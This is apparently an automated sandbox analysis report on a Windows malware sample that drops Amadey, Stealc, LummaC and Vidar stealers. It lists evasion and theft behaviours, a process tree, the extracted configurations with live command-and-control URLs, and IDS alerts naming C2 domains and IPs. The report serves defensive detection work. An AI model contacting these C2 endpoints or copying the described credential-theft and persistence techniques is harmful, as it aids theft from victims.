Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564014
MD5:	d46594ed682b1ccedacb957752ba9e25
SHA1:	4f20c0a66334fc7e963b6efa038b5887c784a802
SHA256:	125a27f4007f57d38d3fe0829153ffa6221e104cc55a9d33e710c88daa104541
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Leaks process information

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D46594ED682B1CCEDACB957752BA9E25)

chrome.exe (PID: 8088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5736 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2196,i,6148873986735286690,16482013461784246159,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 3896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7508 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2224,i,13498056938333319080,12696969808079117186,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7820 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDGDAKFHI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFIDGDAKFHI.exe (PID: 2552 cmdline: "C:\Users\user\DocumentsFIDGDAKFHI.exe" MD5: 122B329B0B6D825D6E8582916D00AB2F)

skotes.exe (PID: 8764 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 122B329B0B6D825D6E8582916D00AB2F)

msedge.exe (PID: 2460 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4024 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2892 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6504 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8756 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6568 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6532 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 9132 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 122B329B0B6D825D6E8582916D00AB2F)

dd3583c805.exe (PID: 8476 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009648001\dd3583c805.exe" MD5: 00BEDF34423C32A7A98CBE359D7DAE8F)

ff628321ee.exe (PID: 5496 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe" MD5: 2625167E750E973A5B3819AFE3B1DC61)

ef7381e244.exe (PID: 2960 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009654001\ef7381e244.exe" MD5: D46594ED682B1CCEDACB957752BA9E25)

ff628321ee.exe (PID: 6472 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe" MD5: 2625167E750E973A5B3819AFE3B1DC61)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1874484736.0000000000221000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000003.2471979549.0000000004A50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.2545609227.0000000000081000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1297316398.0000000005170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.1940928200.0000000004C30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.2528677354.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.1863507390.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.2106411641.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.1981189738.0000000000081000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.2566492588.0000000001735000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.1950247019.0000000000B21000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000002.2515345753.0000000000081000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7316	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7316	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7316	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7316	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ff628321ee.exe PID: 5496	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ef7381e244.exe PID: 2960	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ef7381e244.exe PID: 2960	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.DocumentsFIDGDAKFHI.exe.b20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.skotes.exe.80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 9132, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ff628321ee.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7316, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 8088, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 9132, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ff628321ee.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsFIDGDAKFHI.exe" , ParentImage: C:\Users\user\DocumentsFIDGDAKFHI.exe, ParentProcessId: 2552, ParentProcessName: DocumentsFIDGDAKFHI.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 8764, ProcessName: skotes.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:07.914554+0100	2028371	3	Unknown Traffic	192.168.2.7	54551	104.121.10.34	443	TCP
2024-11-27T18:00:10.557254+0100	2028371	3	Unknown Traffic	192.168.2.7	54556	104.21.82.174	443	TCP
2024-11-27T18:00:14.312325+0100	2028371	3	Unknown Traffic	192.168.2.7	54567	104.21.82.174	443	TCP
2024-11-27T18:00:18.592191+0100	2028371	3	Unknown Traffic	192.168.2.7	54580	104.21.82.174	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:11.303843+0100	2054653	1	A Network Trojan was detected	192.168.2.7	54556	104.21.82.174	443	TCP
2024-11-27T18:00:15.372301+0100	2054653	1	A Network Trojan was detected	192.168.2.7	54567	104.21.82.174	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:11.303843+0100	2049836	1	A Network Trojan was detected	192.168.2.7	54556	104.21.82.174	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:15.372301+0100	2049812	1	A Network Trojan was detected	192.168.2.7	54567	104.21.82.174	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:10.557254+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.7	54556	104.21.82.174	443	TCP
2024-11-27T18:00:14.312325+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.7	54567	104.21.82.174	443	TCP
2024-11-27T18:00:18.592191+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.7	54580	104.21.82.174	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:59:56.645551+0100	2044696	1	A Network Trojan was detected	192.168.2.7	54526	185.215.113.43	80	TCP
2024-11-27T18:00:05.562989+0100	2044696	1	A Network Trojan was detected	192.168.2.7	54544	185.215.113.43	80	TCP
2024-11-27T18:00:14.411179+0100	2044696	1	A Network Trojan was detected	192.168.2.7	54566	185.215.113.43	80	TCP
2024-11-27T18:00:21.876841+0100	2044696	1	A Network Trojan was detected	192.168.2.7	54586	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (blade-govern .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:05.262971+0100	2057812	1	Domain Observed Used for C2 Detected	192.168.2.7	50622	1.1.1.1	53	UDP
2024-11-27T18:00:19.267441+0100	2057812	1	Domain Observed Used for C2 Detected	192.168.2.7	61229	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (disobey-curly .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:05.695139+0100	2057814	1	Domain Observed Used for C2 Detected	192.168.2.7	55188	1.1.1.1	53	UDP
2024-11-27T18:00:20.108604+0100	2057814	1	Domain Observed Used for C2 Detected	192.168.2.7	50989	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogs-severz .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:04.980387+0100	2057818	1	Domain Observed Used for C2 Detected	192.168.2.7	58693	1.1.1.1	53	UDP
2024-11-27T18:00:18.980860+0100	2057818	1	Domain Observed Used for C2 Detected	192.168.2.7	62265	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leg-sate-boat .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:05.549881+0100	2057824	1	Domain Observed Used for C2 Detected	192.168.2.7	57864	1.1.1.1	53	UDP
2024-11-27T18:00:19.819429+0100	2057824	1	Domain Observed Used for C2 Detected	192.168.2.7	50295	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:08.984904+0100	2057415	1	Domain Observed Used for C2 Detected	192.168.2.7	60911	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (motion-treesz .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:05.988975+0100	2057826	1	Domain Observed Used for C2 Detected	192.168.2.7	56495	1.1.1.1	53	UDP
2024-11-27T18:00:20.350644+0100	2057826	1	Domain Observed Used for C2 Detected	192.168.2.7	62580	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (occupy-blushi .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:05.122165+0100	2057830	1	Domain Observed Used for C2 Detected	192.168.2.7	59978	1.1.1.1	53	UDP
2024-11-27T18:00:19.123121+0100	2057830	1	Domain Observed Used for C2 Detected	192.168.2.7	57940	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (powerful-avoids .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:06.133404+0100	2057834	1	Domain Observed Used for C2 Detected	192.168.2.7	58326	1.1.1.1	53	UDP
2024-11-27T18:00:20.499636+0100	2057834	1	Domain Observed Used for C2 Detected	192.168.2.7	53130	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (property-imper .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:04.837456+0100	2057836	1	Domain Observed Used for C2 Detected	192.168.2.7	56374	1.1.1.1	53	UDP
2024-11-27T18:00:18.837480+0100	2057836	1	Domain Observed Used for C2 Detected	192.168.2.7	50567	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (story-tense-faz .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:05.404997+0100	2057842	1	Domain Observed Used for C2 Detected	192.168.2.7	60515	1.1.1.1	53	UDP
2024-11-27T18:00:19.491570+0100	2057842	1	Domain Observed Used for C2 Detected	192.168.2.7	59313	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:58:20.786560+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49702	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:58:20.663819+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49702	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:58:21.125512+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49702	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:58:22.597404+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49702	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:58:21.255511+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49702	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T18:00:19.504440+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	54580	104.21.82.174	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:58:20.195519+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-27T18:00:16.734160+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	54570	185.215.113.206	80	TCP
2024-11-27T18:00:29.519463+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	54625	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:59:40.849964+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50027	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:59:55.207889+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	54491	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:59:45.457215+0100	2803305	3	Unknown Traffic	192.168.2.7	54498	31.41.244.11	80	TCP
2024-11-27T17:59:58.387145+0100	2803305	3	Unknown Traffic	192.168.2.7	54528	185.215.113.16	80	TCP
2024-11-27T18:00:07.206908+0100	2803305	3	Unknown Traffic	192.168.2.7	54550	185.215.113.16	80	TCP
2024-11-27T18:00:15.999996+0100	2803305	3	Unknown Traffic	192.168.2.7	54568	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T17:58:24.132809+0100	2803304	3	Unknown Traffic	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-27T17:58:51.740974+0100	2803304	3	Unknown Traffic	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:58:53.934633+0100	2803304	3	Unknown Traffic	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:58:55.345012+0100	2803304	3	Unknown Traffic	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:58:56.502423+0100	2803304	3	Unknown Traffic	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:59:00.282219+0100	2803304	3	Unknown Traffic	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:59:01.422016+0100	2803304	3	Unknown Traffic	192.168.2.7	49850	185.215.113.206	80	TCP
2024-11-27T17:59:07.579814+0100	2803304	3	Unknown Traffic	192.168.2.7	49942	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
